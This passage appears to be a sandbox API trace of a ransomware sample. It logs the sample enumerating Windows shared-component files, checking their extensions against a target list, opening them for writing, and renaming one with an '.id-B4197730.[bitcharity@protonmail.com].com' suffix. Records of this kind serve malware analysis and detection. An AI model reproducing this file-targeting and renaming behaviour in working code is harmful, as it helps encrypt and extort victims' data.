GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=84190) returned 1 [0286.632] CloseHandle (hObject=0x109c) returned 1 [0286.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0286.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0286.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0286.632] lstrlenW (lpString=".doc") returned 4 [0286.632] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0286.632] lstrlenW (lpString=".docx") returned 5 [0286.632] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0286.632] lstrlenW (lpString=".pdf") returned 4 [0286.632] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0286.632] lstrlenW (lpString=".xls") returned 4 [0286.632] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0286.632] lstrlenW (lpString=".xlsx") returned 5 [0286.632] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0286.632] lstrlenW (lpString=".ppt") returned 4 [0286.632] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0286.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0286.633] lstrlenW (lpString=".zip") returned 4 [0286.633] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0286.633] lstrlenW (lpString=".rar") returned 4 [0286.633] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0286.633] lstrlenW (lpString=".bz2") returned 4 [0286.633] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0286.633] lstrlenW (lpString=".7z") returned 3 [0286.633] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0286.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.633] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=180172) returned 1 [0286.633] CloseHandle (hObject=0x109c) returned 1 [0286.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0286.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.634] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=208408) returned 1 [0286.634] CloseHandle (hObject=0x109c) returned 1 [0286.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0286.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.634] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=199994) returned 1 [0286.634] CloseHandle (hObject=0x109c) returned 1 [0286.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0286.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.635] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=181964) returned 1 [0286.635] CloseHandle (hObject=0x109c) returned 1 [0286.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0286.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.636] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=1600388) returned 1 [0286.636] CloseHandle (hObject=0x109c) returned 1 [0286.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0286.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.636] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0286.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.637] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=1434) returned 1 [0286.637] CloseHandle (hObject=0x109c) returned 1 [0286.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0286.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.637] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=212) returned 1 [0286.637] CloseHandle (hObject=0x109c) returned 1 [0286.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0286.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.638] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=903) returned 1 [0286.638] CloseHandle (hObject=0x109c) returned 1 [0286.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0286.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.639] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=215) returned 1 [0286.639] CloseHandle (hObject=0x109c) returned 1 [0286.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0286.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.639] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=384) returned 1 [0286.639] CloseHandle (hObject=0x109c) returned 1 [0286.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0286.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.640] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=903) returned 1 [0286.640] CloseHandle (hObject=0x109c) returned 1 [0286.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0286.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.641] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=392) returned 1 [0286.641] CloseHandle (hObject=0x109c) returned 1 [0286.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0286.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.642] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=693) returned 1 [0286.642] CloseHandle (hObject=0x109c) returned 1 [0286.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0286.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.643] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=3333) returned 1 [0286.643] CloseHandle (hObject=0x109c) returned 1 [0286.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0286.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.643] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=247) returned 1 [0286.644] CloseHandle (hObject=0x109c) returned 1 [0286.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0286.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.644] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=3524) returned 1 [0286.644] CloseHandle (hObject=0x109c) returned 1 [0286.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0286.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.645] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=3529) returned 1 [0286.645] CloseHandle (hObject=0x109c) returned 1 [0286.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0286.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, 